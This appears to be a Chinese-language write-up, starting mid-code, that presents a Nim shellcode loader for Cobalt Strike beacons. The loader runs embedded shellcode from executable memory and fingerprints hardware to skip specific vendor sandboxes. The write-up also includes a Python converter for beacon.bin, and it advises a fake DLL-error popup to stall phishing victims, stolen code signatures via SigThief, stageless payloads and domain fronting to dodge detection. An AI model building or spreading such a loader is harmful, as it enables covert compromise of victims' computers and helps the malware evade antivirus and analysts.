stdcall, dynlib: "kernel32", importc: "GetDiskFreeSpaceExA".}
#获得磁盘情况
proc getPartitionInfo*(partition: string): TPartitionInfo =
#freeBytes:已使用字节
#totalBytes:磁盘总容量
var freeBytes, totalBytes, totalFreeBytes: winlean.FILETIME
discard getDiskFreeSpaceEx(partition, freeBytes, totalBytes,
totalFreeBytes)
return (freeBytes,totalBytes)
#获取cpu数量
proc huasidsiuohiuodsaih():int =
when defined(windows):
type
SYSTEM_INFO {.final, pure.} = object
u1: int32
dwPageSize: int32
lpMinimumApplicationAddress: pointer
lpMaximumApplicationAddress: pointer
dwActiveProcessorMask: ptr int32
dwNumberOfProcessors: int32
dwProcessorType: int32
dwAllocationGranularity: int32
wProcessorLevel: int16
wProcessorRevision: int16
proc GetSystemInfo(lpSystemInfo: var SYSTEM_INFO) {.stdcall, dynlib: "kernel32", importc: "GetSystemInfo".}
var
si: SYSTEM_INFO
GetSystemInfo(si)
return si.dwNumberOfProcessors
#获取内存大小
proc ihojhhasioadsoiihodas():int64 =
when defined(windows):
type
TMEMORYSTATUSEX {.final, pure.} = object
dwLength: int32
dwMemoryLoad: int32
ullTotalPhys: int64
ullAvailPhys: int64
ullTotalPageFile: int64
ullAvailPageFile: int64
ullTotalVirtual: int64
ullAvailVirtual: int64
ullAvailExtendedVirtual: int64
proc globalMemoryStatusEx(lpBuffer: var TMEMORYSTATUSEX) {.stdcall, dynlib: "kernel32",importc: "GlobalMemoryStatusEx".}
var statex: TMEMORYSTATUSEX
statex.dwLength = sizeof(statex).int32
globalMemoryStatusEx(statex)
return statex.ullTotalPhys shr 20
proc innerMain(shellcode: ptr, size: int): void = #shellcode执行主体
let tProcess = GetCurrentProcessId()
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, shellcode, size)
let f = cast[proc(){.nimcall.}](rPtr)
f()
when defined(windows):
when isMainModule:
# MessageBox(0, (LPCWSTR)(L"无法打开文档,因为计算机中丢失 MSVCP140.dll。 尝试重新安装该程序以解决此问题。"), "Error", MB_OK) #部分钓鱼情况开启此功能,让中招者解决电脑玄学问题从而延迟钓鱼邮件发现时间
var huasidsiuohiuodsaih1 = huasidsiuohiuodsaih() #cpu
var ihojhhasioadsoiihodas1 = ihojhhasioadsoiihodas() #ram
var saolkpomsiejskraqjgir1 = rdFileTime(getPartitionInfo(r"C:\")[1]) #disk
if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 6143 and saolkpomsiejskraqjgir1 == 136829726720): #微步win10沙箱
if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 6143 and saolkpomsiejskraqjgir1 == 137331994624): #微步win7沙箱
if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 8190 and saolkpomsiejskraqjgir1 == 322015588352): #qax的win7沙箱
if huasidsiuohiuodsaih1 > 2 and ihojhhasioadsoiihodas1 > 2046: #通用沙箱
const sc_length: int = 1000
#输入shellcode
var shellcode: seq[byte] = @[byte 0x4D,0x5A,0x41,0x52,0x55,0x48] #Replace with your own shellcode
var shellcodePtr = (cast[ptr array[sc_length, byte]](addr shellcode[0]))
innerMain(shellcodePtr, len(shellcode))
使用CS生成raw格式的,cs有两个位置可以生成raw包,注意位置,意思大概是shellcode分为无状态和有状态,具体那个是那个记不清了,区别是一个直接上线,一个还要再向CS服务端请求一个stage文件,这个是直接上线的生成方式,生成的raw需要进行二次处理转变为0x00格式的,写好的python代码奉上
#!/usr/bin python3
# -*- coding: utf-8 -*-
#auther:https://github.com/sv3nbeast
import binascii,re
def analysis(bin_path: str, out_txt_path: str,out_file_path_0x: str):
with open(bin_path, 'rb') as f:
# 读取全部行
all_data = f.readlines()
with open(out_txt_path, 'a+') as new_f:
for i in all_data:
# 二进制(bytes)类型转换成十六进制类型
hex_str = binascii.b2a_hex(i).decode('unicode_escape')
# 以str格式逐行写入到文本
new_f.write(str(hex_str).swapcase())
print("hex转换完成")
with open(out_txt_path,'r') as hex:
with open(out_file_path_0x,'a+') as payload:
all_data = hex.readlines()
d = ''
for i in all_data:
b = re.findall(r'.{2}',i)
c = ',0x'.join(b)
d = d + c
f = "0x" + d
payload.write(f)
print("payload转换完成")
if __name__ == '__main__':
input_file_path = "./beacon.bin"
out_file_path = "./hex.txt"
out_file_path_0x = "./0x00.txt"
analysis(input_file_path, out_file_path,out_file_path_0x)
直接获得0x00格式的shellcode,这个生成简单,不过会多个请求cs服务端的url特征
nim c -d:mingw -d:release --opt:speed --app:gui --cpu:amd64 sven.nim
--opt的speed意思是速度优化
--opt的size意思是文件大小优化
--app的gui意思是执行exe的时候不出现黑框
--app的console意思是执行exe的时候出现黑框,我用来输出信息调试代码,以后查杀gui严格后可以改用console在用代码关闭黑框,代码已实现
nim c --opt:size -d:release --app:gui sven.nim
命令的意思和mac一样
其中的MessageBox这行代码和钓鱼有关系,也可以自行根据实际情况改,弹个框,引导中招的人解决电脑的玄学问题,延迟钓鱼邮件发现时间
根据shellcode的区别,最终编译的文件大小如下
800-900kb
300-500kb
主要是用了NIM语言本身的小众,他自带大部分的免杀效果,还能配合mac的交叉编译
同时如果选择生成shellcode方法是第一种(当然不论哪种目前都是可以的),那么cs生成的是stageless的shellcode,这种的shellcode不会再去向服务器发起获取stage的请求,也就是说减少了那个请求cs的checksum8特征url,url大概长这样 http:test.safe.com/Hjla
利用SigThief增加数字签名,同样可以增加存活一段时间
对shellcode加密,防止硬编码在NIM,目前代码已实现,是自己也在用的一个版本,不过这种制作方式暂时还不到必须用的地步,先等不加密的被杀了再用
沙箱会对EXE的静态分析中正则匹配URL,所以可以静态加入一些正规域名的url链接配合域前置的正规域名混淆视听,我的域前置根域名是baidu.com,所以我加入的是baidu的链接,当然只是为了干扰那些只是根据沙箱运行结果进行人工判断的摸鱼防守,一点恶趣味
毕竟不是专业的,受限代码水平哈